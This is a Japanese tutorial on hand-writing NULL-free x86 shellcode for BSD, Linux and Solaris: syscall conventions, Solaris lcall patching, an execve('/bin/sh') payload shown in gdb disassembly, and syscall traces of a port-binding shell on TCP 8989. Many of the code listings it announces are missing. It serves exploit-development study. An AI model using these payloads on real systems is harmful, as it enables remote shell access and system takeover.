x86 shellcode programming

はじめに

x86で動作するshellcodeプログラミングについて解説します。対象オペレーティングシステムはNetBSD, FreeBSD, OpenBSD, GNU/Linux, Solarisです。すべての環境において、コンパイラはGCC(GNU Compiler Collection)を使用します。GCCを使用するため、AT&T System V/386の文法に従って記述します。MASMやNASMでのコーディングに慣れているのであれば、オペランドが逆になることに注意する必要があります。AT&TとIntelでは、以下のようにオペランドが逆になります。

AT&T表記
movl $1, %eax
Intel表記
mov eax, 1

NULLバイトの問題

バッファオーバーフローのような文字列のオーバーランがバグの原因である場合、shellcodeにNULLバイトを入れる事が出来ない場合がありす。たとえばstrcpy(3)のような文字列操作関数は文字列の終端がNULLである事を前提にして動作するため、途中にNULLバイトが存在すると全てのshellcodeを送り込む事ができなくなります。そのため、次のようなコードは問題となります。

movl $0x66, %eax  # b8 66 00 00 00

NULLを含まないようにするには、代わりに次のようにします:

movb $0x66, %al   # b0 66

文字列をNULLで終わらせる必要がある場合”movb $0x0, %ax”のように記述することは控えた方が良いでしょう。この場合0x0という数値を使用してるので、NULLバイトを生成していまいます。そのため、次のように”xorl %eax, %eax”でレジスタ内の数値を0にしてからデータを移動させます。これならばNULLバイトを生成する事はありません。

この手法は文字列の先頭アドレスを取得する手法としてもよく用いられます。古典的なexecve()を呼び出すshellcodeはこの手法をとっています。しかし、ここから先はこの手法でなくスタックに文字列を配置する手法をとります。

スタックへ文字列を配置する手法

この手法は文字コードをpushしてスタックに文字列を配置します。たとえば”//bin/sh”を例にすると、これは 0x2f2f62696e2f7368 となりす。”/”を2つ入れているのはサイズ調整のためです。これで丁度8文字(8バイト)となるので4バイトずつに区切る事ができます。これからンプルとして出てくるコードでは次のようにして、スタック上に文字列を作成しています。

システムコールの呼び出し

我々がC言語でシステムコールの呼び出しを行なう際にはシステムコールに対応するラッパー関数を呼び出します。これはシステムコールがカーネル空間で実行されるため、カーネルへジャンプする方法がアーキテクチャに依存するというのが理由のひとつにあります。
システムコールを直接呼び出す方法はアーキテクチャとOSに依存します。これから記述するアセンブリコードでは例外を除いて int $0x80命令を実行します。この命令を実行するのは*BSDとLinuxです。Solarisは割り込み命ではなくてlcall命令というコールゲートを使用します。lcall命令にはいくつかの問題があるのですがこれは後述します。共通しているのは%eaxにシステムコール番号を設定するということです。引数に関してはこれも実装依存で、Linuxではレジスタに引数を設定するのに対して*BSDとSolarisはスタックに引数をpushしてシステムコールを呼び出します。

BSD

BSD系は同じコードから派生しているため、基本的には同じshellcodeで動作します。ただし派生後に実装されたシステムコールに関してはシステムコール番号が異なる可能性があるため注意が必要です。

NetBSD – reboot

NetBSDでシステムコールを呼ぶには、引き数をスタックにpushしてから%eaxにシステムコール番号をセットしてint $0x80命令を実行します。システムコール番号は/usr/include/sys/sy-scall.hで定義されています。手始めに簡単な例としてシステムのリブートを実行するshellcodeの作成を行います。上手く行けばシステムはリブートするでしょう。

上記のアセンブリコードをコンパイルして実行するには次のようにします。

# cc x86_nbsd_reboot.s
# ./a.out
syncing disks… 3 done
rebooting…

NetBSD – execve

exploit作成の際、最も使われるshellcodeは”/bin/sh”を呼び出すものです。このサンプルコードはexecve(2)を使って”/bin/sh”を起動させています。

NetBSD – Port Binding Shellcode

以下はTCPポート番号8989で待ち受けるアセンブリコードです。*BSDでは通常のシステムコールと同様にソケットシステムコールを使用できます。特定のポートで待ち受けて”/bin/sh”を実行するshelllcodeはremote exploitでよく使われます。

FreeBSD – file copy

FreeBSDでもシステムコールの呼び出し方法はNetBSDと同じように、引数をスタックをpushしてから%eaxにシステムコール番号をセットしてint $0x80命令を実行します。システムコール番号は/usr/include/sys/syscall.hで定義されています。では、/bin/sh を /tmp/.sh にコピーするサンプルを例にしてみます。

GNU/Linux

Linuxはシステムコールの引き数の設定にレジスタを使用します。%eaxにシステムコール番号を設定してint $0x80命令を実行します。引き数は%ebx, %ecx, %edx, %esi, %ediとなります。システムコール番号は/usr/include/asm/unistd.hで定義されています。

Linux – execve

Linux – Port Binding Shellcode

Linuxでソケットを扱う場合に気をつけなければならないのはsocket(2)などのシステムコールが個別に用意されていない事です。Linuxでは代わりにsocketcallを使用します。システムコール番号は0x66です。socketcallは次のように呼び出します。

socketcall(<ソケットコール番号>, <引数>)

/usr/include/linux/net.hで定義されているソケットコール番号は次の通りです。

以下はTCPポート番号8989で待ち受けるアセンブリコードです:

Solaris

SolarisもBSDと同様にスタックに引数をpushして%eaxにシステムコール番号をセットします。システムコール番号は/usr/include/sys/syscall.hで確認できます。Solarisが他のOSとひとつ違うのがint $0x80'命令ではなくてlcall $0x7, $0x0’という命令を使うということです。この命令の問題点はNULLを含んでしまうということです。以下はlcall命令をobjdumpで出力させたものです。

8048458: 9a 00 00 00 00 07 00 lcall $0x7,$0x0

lcall命令は0x9aなので”lcall $0x0007, $0x00000000″となることがわかります。NULLを含まないshellcodeを作成する必要がある場合これは問題となります。そこで、0の部分を0でない数値で埋めて後から0に書き換えるコードを作成することにします。

以下は”lcall $0xff07, $0xffffffff”を”lcall $0x0007, $0x00000000″に書き換えるアセンブリコードです。

call alt でスタックにlcall命令のアドレスが積まれるので、mov命令で0xffの部分を0x00に上書きしています。これにより、realmain以降は call sol_syscall を実行することによって lcall $0x7, $0x0 を問題なく実行できるようになります。以下はgdbでの検証結果です。

% gdb -q a.out
(no debugging symbols found)…(gdb)
(gdb) b alt
Breakpoint 1 at 0x804845a
(gdb) r
Starting program: /home/shj/a.out
(no debugging symbols found)…(no debugging symbols found)…
Breakpoint 1, 0x804845a in alt ()
(gdb) disas alt
Dump of assembler code for function alt:
0x804845a : pop %esi
0x804845b <alt+1>: xor %eax,%eax
0x804845d <alt+3>: mov %al,0x6(%esi)
0x8048460 <alt+6>: mov %eax,0x1(%esi)
0x8048463 <alt+9>: jmp 0x8048472
End of assembler dump.
(gdb) si
0x804845b in alt ()
(gdb) x/3wx $esi
0x804846a : 0xffffff9a 0xc3ff07ff 0x2f6e6850
(gdb) si ^^^^^^^^ ^^^^^^
0x804845d in alt ()
(gdb)
0x8048460 in alt ()
(gdb) x/3wx $esi
0x804846a : 0xffffff9a 0xc30007ff 0x2f6e6850
(gdb) si ^^^^^^^^ ^^^^^^
0x8048463 in alt ()
(gdb) x/3wx $esi
0x804846a : 0x0000009a 0xc3000700 0x2f6e6850
(gdb) q ^^^^^^^^ ^^^^^^
The program is running. Exit anyway? (y or n) y
%

Solaris – execve

Solaris – Port Binding Shellcode

Solarisでソケットを扱うことは基本的にBSDと変わりません。いくつかの注意点を上げると、まずsocket(2)の引数であるSOCK_STREAMの値が異なることです。以下はNetBSDとSolarisでgrepを実行した結果です。

NetBSD:

% grep SOCK_ /usr/include/sys/socket.h
#define SOCK_STREAM 1 /* stream socket */
#define SOCK_DGRAM 2 /* datagram socket */
#define SOCK_RAW 3 /* raw-protocol interface */
#define SOCK_RDM 4 /* reliably-delivered message */
#define SOCK_SEQPACKET 5 /* sequenced packet stream */

Solaris8:

% grep SOCK_ /usr/include/sys/socket.h
#define SOCK_STREAM NC_TPI_COTS /* stream socket */
#define SOCK_DGRAM NC_TPI_CLTS /* datagram socket */
#define SOCK_RAW NC_TPI_RAW /* raw-protocol interface */
#define SOCK_STREAM 2 /* stream socket */
#define SOCK_DGRAM 1 /* datagram socket */
#define SOCK_RAW 4 /* raw-protocol interface */
#define SOCK_RDM 5 /* reliably-delivered message */
#define SOCK_SEQPACKET 6 /* sequenced packet stream */

また、システムコールとしてdup2が実装されていないので、fcntl(2)で代用しています。
dup2は以下のCコードと等価です。

fcntl(fildes, F_DUP2FD, fildes2);

F_DUP2FDはsys/fcntl.hで9に定義されいます:

#define F_DUP2FD 9 /* Duplicate fildes at third arg */

以下はSolarisで動作するPort Binding Shellcodeです。

ちょっとしたテクニック

普段使わないようなシステムコールや、いまひとつ実装方法が分からない場合に知っておくと便利なテクニックがあります。たとえばC言語でプログラムを記述してコンパイルの引き数に’-S’オプションを指定すればアセンブリコードを出力させる事ができます。また、gdb(1)を使って逆アセンブルするという方法もあります。以下のCコードを例にgdbで逆アセンブルする過程を見てみます。使用したOSはNetBSDです。

アセンブリ言語でsocket(2)を使うにはどのようにすればよいのか分からない場合を想定しています。まず、コンパイルを行います。

% cc -static -o sock sock.c

次にgdbを使用して逆アセンブルを行います。

% gdb ./sock
GNU gdb 5.0nb1
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i386–netbsdelf”…(no debugging symbols found)…
(gdb)
(gdb) disassemble main
Dump of assembler code for function main:
0x8048444 : push %ebp
0x8048445 <main+1>: mov %esp,%ebp
0x8048447 <main+3>: sub $0x8,%esp
0x804844a <main+6>: add $0xfffffffc,%esp
0x804844d <main+9>: push $0x0
0x804844f <main+11>: push $0x1
0x8048451 <main+13>: push $0x2
0x8048453 <main+15>: call 0x80484c8
0x8048458 <main+20>: add $0x10,%esp
0x804845b <main+23>: leave
0x804845c <main+24>: ret
0x804845d <main+25>: lea 0x0(%esi),%esi
End of assembler dump.
(gdb)

socket(2)を呼び出すまでの過程です。引き数をセットするためにスタックへpushしてからsocketを呼び出しているのが分かります。

0x804844d <main+9>: push $0x0 <— (IPPROTO_IP)
0x804844f <main+11>: push $0x1 <— (SOCK_STREAM)
0x8048451 <main+13>: push $0x2 <— (PF_INET)
0x8048453 <main+15>: call 0x80484c8

次にsocket内を見てみます。

(gdb) disassemble socket
Dump of assembler code for function socket:
0x80484c8 : mov $0x61,%eax
0x80484cd <socket+5>: int $0x80
0x80484cf <socket+7>: jb 0x80484c0 <atexit+96>
0x80484d1 <socket+9>: ret
0x80484d2 <socket+10>: mov %esi,%esi
End of assembler dump.
(gdb)

%eaxに0x61をセットしてint $0x80命令を実行しているのが分かります。0x61(97)はシステムコール番号(SYS_socket)です。この他にobjdump(1)を使用する方法もあります。
以下はobjdumpの実行結果の一部を抜粋したものです。

% objdump -d sock
08048444 :
8048444: 55 push %ebp
8048445: 89 e5 mov %esp,%ebp
8048447: 83 ec 08 sub $0x8,%esp
804844a: 83 c4 fc add $0xfffffffc,%esp
804844d: 6a 00 push $0x0
804844f: 6a 01 push $0x1
8048451: 6a 02 push $0x2
8048453: e8 70 00 00 00 call 80484c8
8048458: 83 c4 10 add $0x10,%esp
804845b: c9 leave
804845c: c3 ret
804845d: 8d 76 00 lea 0x0(%esi),%esi

080484c8 :
80484c8: b8 61 00 00 00 mov $0x61,%eax
80484cd: cd 80 int $0x80
80484cf: 72 ef jb 80484c0 <atexit+0x60>
80484d1: c3 ret
80484d2: 89 f6 mov %esi,%esi

デバッグ

通常のプログラミングと同じでデバッグは重要な作業です。最も単純で重要なデバッグは呼び出しているシステムコールが成功しているかどうかの確認です。shellcodeはシステムコールのかたまりなので、システムコールが意図している通りに実行されているのかを確認することは重要な作業です。Linuxではstrace(1)がシステムコールを追跡できて便利です。使い方は簡単で、引き数に実行するプログラムを指定するだけです(詳しくはstrace(1)を参照)。

以下はLinuxのPort Binding Shellcodeをstrace(1)で追跡したときの抜粋です。

socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(8989), sin_addr=inet_addr(“0.0.0.0”)}, 16) = 0
listen(3, 5) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve(“//bin/sh”, [“//bin/sh”, “-i”], [/* 0 vars */]) = 0

表示形式は`SYSCALL=RET’となっています。これは、システムコールSYSCALLの戻り値がRETであるという事です。このRETの値が-1であればシステムコールは何らかの理由で失敗しています。また、引き数の確認も行う事が出来るので、自分の意図した引き数(特に文字列)を渡しているのか確かめる事が出来ます。BSDではktrace(1)とkdump(1)を使用してシステムコールの追跡を行う事ができます。
以下はOpenBSDでPort Binding Shell-codeを追跡したときの抜粋です。

4019 a.out CALL socket(0x2,0x1,0)
4019 a.out RET socket 3
4019 a.out CALL bind(0x3,0xdfbfd8be,0x10)
4019 a.out RET bind 0
4019 a.out CALL listen(0x3,0x1)
4019 a.out RET listen 0
4019 a.out CALL accept(0x3,0,0)
4019 a.out RET accept 4
4019 a.out CALL dup2(0x4,0)
4019 a.out RET dup2 0
4019 a.out CALL dup2(0x4,0x1)
4019 a.out RET dup2 1
4019 a.out CALL dup2(0x4,0x2)
4019 a.out RET dup2 2
4019 a.out CALL execve(0xdfbfd862,0xdfbfd84e,0)
4019 a.out NAMI “//bin/sh”

こちらも実行されたシステムコールと戻り値を確認する事ができますが、execve(2)の第2引数であるポインタ配列がどのようになっているのか確認できないのでgdb(1)で確認してみます。デバッグを容易にするために、execveの部分に”myexecve”というラベルを付けてコンパイルしたものを使用しました。

# gdb a.out
GNU gdb 4.16.1
Copyright 1996 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i386-unknown-openbsd3.1″…
(no debugging symbols found)…
(gdb) disas myexecve
Dump of assembler code for function myexecve:
0x17f2 : xor %eax,%eax
0x17f4 <myexecve+2>: push %eax
0x17f5 <myexecve+3>: push $0x68732f6e
0x17fa <myexecve+8>: push $0x69622f2f
0x17ff <myexecve+13>: mov %esp,%ebx
0x1801 <myexecve+15>: push %eax
0x1802 <myexecve+16>: add $0x692d,%ax
0x1806 <myexecve+20>: push %eax
0x1807 <myexecve+21>: mov %esp,%ecx
0x1809 <myexecve+23>: xor %eax,%eax
0x180b <myexecve+25>: push %eax
0x180c <myexecve+26>: push %ecx
0x180d <myexecve+27>: push %ebx
0x180e <myexecve+28>: lea (%esp,1),%ecx
0x1811 <myexecve+31>: push %eax
0x1812 <myexecve+32>: push %ecx
0x1813 <myexecve+33>: push %ebx
0x1814 <myexecve+34>: mov $0x3b,%al
0x1816 <myexecve+36>: push %eax
0x1817 <myexecve+37>: int $0x80

この逆アセンブル結果を見るとメモリアドレス0x180eが目的の場所のようです。ここにブレークポイントを設定してプログラムを走らせます。

(gdb) b *0x180e
Breakpoint 1 at 0x180e
(gdb) r
Starting program: /tmp/a.out
(no debugging symbols found)…(no debugging symbols found)…

…ここでポート8989にtelnetで接続する…

Breakpoint 1, 0x180e in myexecve ()
(gdb)
(gdb) si
0x1811 in myexecve ()
(gdb) p/x *$ecx@3
$1 = {0xdfbfd762, 0xdfbfd75a, 0x0}
(gdb) x/s 0xdfbfd762
0xdfbfd762: “//bin/sh”
(gdb) x/s 0xdfbfd75a
0xdfbfd75a: “-i”

この結果を見ると引き数は正常に渡されているようです。OpenBSDを使用しましたが、他のBSDでも同様にしてデバッグを行なうことができます。最後に、Solarisでシステムコールを追跡するにはtruss(1)を使うことができます。以下はtrussを使用してシステムコールを追跡したときの出力の一部です。

bind(3, 0x08047BD0, 16, 488833026) = 0
listen(3, 1, 3) = 0
accept(3, 0x00000000, 0x00000000, 3) (sleeping…)
accept(3, 0x00000000, 0x00000000, 3) = 4
fcntl(4, F_DUP2FD, 0x00000000) = 0
fcntl(4, F_DUP2FD, 0x00000001) = 1
fcntl(4, F_DUP2FD, 0x00000002) = 2
execve(“//bin/sh”, 0x08047B6E, 0x00000000) argc = 2

trussはstraceに似た出力であり、引数や戻り値を確認できます。又、システムコールが失敗した場合はエラーコードも表示されます。

bind(3, 0x08047BD0, 16, 488833026) Err#125 EADDRINUSE
listen(3, 1, 3) = 0
accept(3, 0x00000000, 0x00000000, 3) (sleeping…)

テスト環境

バージョンによる何らかの相違がある可能性を考慮してテスト環境を以下に示します。

  • NetBSD 1.6.2
  • OpenBSD 3.1
  • FreeBSD 4.9
  • RedHat Linux 9
  • Solaris 8

参考文献

[1] SunOS 5.8 Programmer’s Manual